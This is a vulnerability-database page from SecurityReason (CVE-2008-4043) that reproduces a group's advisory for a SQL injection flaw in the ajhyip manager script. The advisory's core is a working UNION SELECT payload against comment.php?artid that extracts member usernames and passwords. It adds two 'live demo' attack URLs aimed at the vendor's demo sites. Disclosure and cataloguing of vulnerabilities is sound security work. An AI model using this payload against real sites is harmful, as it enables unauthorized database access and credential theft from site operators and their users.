|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||
SecurityAlert : 4240 CVE : CVE-2008-4043 CWE : CWE-89 SecurityRisk : High  (About) Remote Exploit : Yes Local Exploit : No Victim interaction required : No Exploit Available : No Credit : security fears team Published : 14.09.2008
Advisory Content : ### proud to be muslim ### ### ### rEm0te sql injction VulnErability ### ### ### ### (ajhyip manager script) ### ### ### ### ### AuTh0r : security fears team ### ### ### ### Home : WwW.alsonaa.com ### ### ### ### members: HeB4RieH , germaya_x ### ### ### ### ### Script Name : ajhyip ### ### ### ### download : http://www.ajhyip.com/ ### ### ### ### Email : s-fteam@securityfears.cc ### ### ### d0rk :: "use your mind" ### ### (you can log to control panel from http://site.com login.php) ### ### ### ### -(:: sql Code ::)- ### ### comment.php?artid=(sql) ### ###(sql)=5+union+select+1,concat_ws(0x3a3a,username,password),3,4,5,6,7,8,9 +from+members/* ### ### ### ### ### -(:: l!ve demo ::)- ### ### ### ###http://www.ajhyip.com/demo/prime/article/comment.php?artid=5+union+selec t+1,2,3,4,concat_ws(0x3a3a,username,password),6,7,8,9+from+members/* ### ### ###http://www.ajhyip.com/demo/acme/article/comment.php?artid=5+union+select +1,2,3,4,concat_ws(0x3a3a,username,password),6,7,8,9+from+members/* -(:: !GreTzZ! ::)- ::SnIpEr.KiLLeR::fa6al error::black cheetah::members of alsonaa.com::str0ke::MusliMs HaCkErs:: References : http://securityreason.com/expldownload/1/4583/1 (Exploit) http://xforce.iss.net/xforce/xfdb/44803
http://www.securityfocus.com/bid/30974
http://www.milw0rm.com/exploits/6350  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
libopie __readrec() off-by-one
This advisory is related to new FreeBSD advisory FreeBSD-SA-10:05.opie. |
||
| Apache |  |
|
» Apache ActiveMQ 5.4.0 |
||
| PHP | |
|
» PHP 5.2.12/5.3.1 |
||
- 2010-04-23| Copyright © SecurityReason.com. All Rights Reserved. |